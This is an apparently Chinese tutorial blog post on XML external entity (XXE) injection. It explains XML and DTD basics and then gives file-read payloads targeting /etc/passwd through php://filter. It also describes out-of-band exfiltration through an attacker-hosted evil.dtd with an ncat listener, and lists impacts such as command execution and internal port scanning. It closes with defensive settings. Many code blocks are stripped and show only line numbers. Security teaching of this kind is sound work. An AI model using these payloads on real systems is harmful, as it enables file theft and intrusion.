前言
本文主要总结XML外部实体注入漏洞。文中部分内容直接或间接引用于其他大牛的文章中,我都会标明出处,如有侵权,请发邮箱联系我删除。多有不合理之处,望大佬指点。
XML基础知识
要想了解XXE漏洞,首先得懂得基础知识,了解XML文档的基本知识。
XML概述
XML是一种用于标记电子文件使其具有结构性的标记语言,可以用来标记数据、定义数据类型,是一种允许用户对自己的标记语言进行定义的源语言。其类似于HTML,但HTML 旨在显示信息,而 XML 旨在传输信息。
XML结构
XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素。
XML文档的构建模块
所有的 XML 文档(以及 HTML 文档)均由以下简单的构建模块构成:
- 元素
- 属性
- 实体
- PCDATA
- CDATA
下面是每个构建模块的简要描述。
元素
XML元素是XML以及HTML文档的主要构建模块,指的是从(且包括)开始标签直到(且包括)结束标签的部分。元素可包含文本、其他元素或者是空的。
实例:
1 | <body>body text in between</body> |
属性
属性可提供有关元素的额外信息。属性不能包含多个值,且不能包含树结构。
实例:
1 | <file type="gif">computer.gif</file> |
实体
实体是用于定义引用普通文本或特殊字符的快捷方式的变量。
实体引用是对实体的引用。
实体可在内部或外部进行声明。
PCDATA
PCDATA 的意思是被解析的字符数据(parsed character data)。
PCDATA 是会被解析器解析的文本。这些文本将被解析器检查实体以及标记。
CDATA
CDATA 的意思是字符数据(character data)。
CDATA 是不会被解析器解析的文本。
DTD(文档类型定义)
DTD(文档类型定义)的作用是定义 XML 文档的合法构建模块。
DTD 既可以在 XML 文档内声明,也可以外部引用。
内部声明的语法:<!DOCTYPE 根元素 [元素声明]> 。例如:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
<note>
<to>George</to>
<from>John</from>
<heading>Reminder</heading>
<body>Don't forget the meeting!</body>
</note>外部声明(引用外部DTD):<!DOCTYPE 根元素 SYSTEM “文件名”>。如:
1
2
3
4
5
6
7
8
<note>
<to>George</to>
<from>John</from>
<heading>Reminder</heading>
<body>Don't forget the meeting!</body>
</note>
1 | <!-- note.dtd内容 --> |
DTD实体
DTD实体是用于定义引用普通文本或特殊字符的快捷方式的变量,可以内部声明或外部引用。
实体又分为一般实体和参数实体。
一般实体的声明语法:
<!ENTITY 实体名 "实体内容">
引用实体的方式:
&实体名;
(一个和号 (&)、一个实体名称、以及一个分号 (;))参数实体在 DTD 中定义,并只能由 DTD 文件自身通过实体引用使用。参数实体的声明格式:
<!ENTITY % 实体名 "实体内容">
引用实体的方式:
%实体名;
内部实体声明:<!ENTITY 实体名称 “实体的值”> 。例如:
1
2
3
4
5
6
<test>&writer;©right;</test>外部实体声明:<!ENTITY 实体名称 SYSTEM “URI”>。例如:
1
2
3
4
5
6
<author>&writer;©right;</author>如果是外部参数实体的话:
1
2
3
4
5
6
7<?xml version="1.0"?>
<!DOCTYPE root [
<!ENTITY % param "hello">
<!ENTITY % dtd SYSTEM "./info.dtd">
%dtd;
]>
<root>&content;</root>info.dtd:
1
<!ENTITY content "%param;"
XXE攻击方式
原理是当应用是通过用户上传的XML文件或POST请求进行数据的传输,并且允许了引入外部实体的加载libxml_disable_entity_loader(false)
,也没有过滤用户提交的XML数据,那么就会导致加载恶意文件、产生XML外部实体注入漏洞。
引入外部实体方式有多种,比如:
直接通过DTD外部实体声明
XML内容:
1
2
3
4
5
<c>&b;</c>如果以上xml代码被解析,则会返回/etc/passwd文件的内容。
通过DTD文档引入外部DTD文档,再引入外部实体声明
XML内容:
1
2
3
<c>&b;</c>DTD文件内容:
1
通过DTD外部实体声明引入外部实体声明
意思就是先写一个外部实体声明,然后引用的是在攻击者服务器上面的外部实体声明。如下XML内容:
1
2
3
4
5
<c>&b;</c>dtd文件内容:
1
要注意的是,在上面的例子中,例1和例2实体名前面并没有%
,而例3中的实体名前是有%
的,这里的区别在于,例1中定义的实体是通用实体,而例3中定义的是参数实体,并且参数实体只能在DTD中使用,即例3代码中的第三行 %d;
,这里就像在外面引用统用实体一样,这里的%d;就引用了http:/mark4z5.com/evil.dtd
这个文件到DTD中。
不同程序支持的协议不同,如下:
LIBXML2 | PHP | JAVA | .NET |
---|---|---|---|
file | file | http | file |
http | http | https | http |
ftp | ftp | ftp | https |
php | file | ftp | |
compress.zlib | jar | ||
compress.bzip2 | netdoc | ||
data | mailto | ||
glob | gopher | ||
phar |
其中php支持的协议会更多一些,但需要一定的扩展支持。
如何辨别XXE漏洞
最直接的方法就是用burp抓包,然后,修改HTTP请求方法,修改Content-Type头部字段等等,查看返回包的响应,看看应用程序是否解析了发送的内容,一旦解析了,那么有可能有XXE攻击漏洞。
举个例子,请求如下:
响应:
为了进一步确定XML解析器确实正在解析和执行我们自定义的XML内容,我们再发一个请求:
可见已经解析了XML实体并将尸体内容返回了,由此确认这个应用程序存在XXE漏洞。
我们便可以利用它来进行文件读取,payload:
1 | <?xml version="1.0" encoding="utf-8" ?> |
或者以下这些:
1 | file:///path/to/file.ext |
注意的是,因为php文件里面经常有特殊字符,xml解析时可能会当作xml语法解析,所以最好是base64编码读取。
但是,在实际情况中,大多数情况下服务器上的 XML 并不是输出用的,所以就少了输出这一环节,这样的话,即使漏洞存在,我们的payload的也被解析了,但是由于没有输出,我们也不知道解析得到的内容是什么,因此我们想要现实中利用这个漏洞就必须找到一个不依靠其回显的方法——外带数据。
先看一下漏洞示例:
这里没有内容输出,如下:
我们就要使用其他方法。
先使用ncat监听一个端口,然后用外部dtd在自己可控的主机上写一个dtd文件:
1 | <!ENTITY % file SYSTEM “PHP://filter/read=convert.base64-encode/resource=/etc/passwd”> |
然后攻击:
然后查看我们的端口监听情况,会发现我们已经收到了一个连接请求,问号后面的内容就是我们读取到的文件内容经过编码后的字符串。
XXE攻击实例
这里是读取/etc/passwd,有些XML解析库支持列目录,攻击者通过列目录、读文件,获取帐号密码后进一步攻击,如读取tomcat-users.xml得到帐号密码后登录tomcat的manager部署webshell。
另外,当数据不回显的时候,可以把数据发送到远程服务器,在触发XXE攻击之后,服务器会把文件内容发送到攻击者网站。
XXE危害
XXE可导致读取任意文件、执行系统命令、探测内网端口、攻击内网网站等危害。
实例一:读取任意文件
这里是读取/etc/passwd,有些XML解析库支持列目录,攻击者通过列目录、读文件,获取帐号密码后进一步攻击,如读取tomcat-users.xml得到帐号密码后登录tomcat的manager部署webshell。
另外,当数据不回显的时候,可以把数据发送到远程服务器,在触发XXE攻击之后,服务器会把文件内容发送到攻击者网站。
远程DTD文件内容如下:
1 |
|
实例二:执行系统命令
这里是在安装expect扩展的PHP环境里执行系统命令,其他协议也有可能可以执行系统命令。
实例三:探测内网端口
通过这里探测192.168.1.1的80、81端口,通过返回的“Connection refused”可以知道该81端口是closed的,而80端口是open的。
实例四:攻击内网网站
该例子是攻击内网struts2网站,远程执行了系统命令。
防御XXE攻击
对于这种危害很大的漏洞,我们要进行防御。
防御方法:
使用开发语言提供的方法禁用外部实体
1
2
3
4
5
6
7
8
9
10PHP:
libxml_disable_entity_loader(true);
JAVA:
DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();
dbf.setExpandEntityReferences(false);
Python:
from lxml import etree
xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))
过滤和验证用户提交的XML数据
一般过滤的关键词:
<!DOCTYPE
和<!ENTITY
,或者SYSTEM
和PUBLIC
。
- 不允许XML中含有任何自己声明的DTD